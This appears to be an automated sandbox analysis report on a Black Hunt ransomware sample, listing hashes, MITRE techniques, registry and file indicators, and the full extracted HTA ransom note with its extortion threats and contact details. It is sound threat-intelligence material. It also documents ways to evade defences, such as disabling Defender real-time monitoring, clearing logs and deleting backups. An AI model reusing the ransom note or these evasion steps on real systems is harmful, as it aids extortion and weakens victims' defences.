d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314

Analysis

max time kernel
117s
max time network
119s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 00:59

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General

Target

d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
Size

707KB
MD5

b49323059d2c6e3bd031d5ec2b935131
SHA1

7260ea18b37bd2e2cabf90ee75a793062a7d3744
SHA256

d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314
SHA512

3c1615fcf2c74552b85be6d59496bdc64297b705c151170fab3583f83d6ef6b609803de23e252b98953e8e6e2f60f02674bcd43c43dcce073bb3e0a96f1dfec4
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1V8lvnh:6uaTmkZJ+naie5OTamgEoKxLWYBh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> A2YqQbYWqZgciMUW </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2336	fsutil.exe
556	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1732	wevtutil.exe
2500	wevtutil.exe
928	wevtutil.exe
2120	wevtutil.exe
3212	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Detects Windows executables referencing non-Windows User-Agents 1 IoCs

resource	yara_rule
behavioral1/memory/2900-11407-0x0000000074A50000-0x0000000074C65000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2580	bcdedit.exe
2448	bcdedit.exe
4200	bcdedit.exe
4160	bcdedit.exe

Renames multiple (2872) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2176	wbadmin.exe
4400	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
1336	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\W:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\Y:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\A:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\S:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\N:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\R:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\L:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\T:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\H:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\M:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\P:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\K:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\I:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\J:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\O:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\Z:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\V:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\E:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\U:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\G:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\B:	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened (read-only)	\??\M:	fsutil.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\lua\http\js\#BlackHunt_Private.key	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Circle_SelectionSubpictureB.png	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Tallinn	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.update.configurator_3.3.300.v20140518-1928.jar	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\#BlackHunt_ReadMe.hta	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#BlackHunt_ReadMe.hta	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\VideoLAN\VLC\locale\it\#BlackHunt_ReadMe.txt	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Nauru	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\#BlackHunt_ReadMe.hta	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Dublin	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\#BlackHunt_ReadMe.txt	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_splitter\#BlackHunt_ReadMe.hta	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Windhoek	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tl\#BlackHunt_ReadMe.txt	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy.jar	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Yekaterinburg	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.core.di_1.4.0.v20140414-1837.jar	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-11	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.nl_ja_4.4.0.v20140623020002.jar	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File created	C:\Program Files\Java\jre7\lib\images\#BlackHunt_ReadMe.hta	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Riyadh89	d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
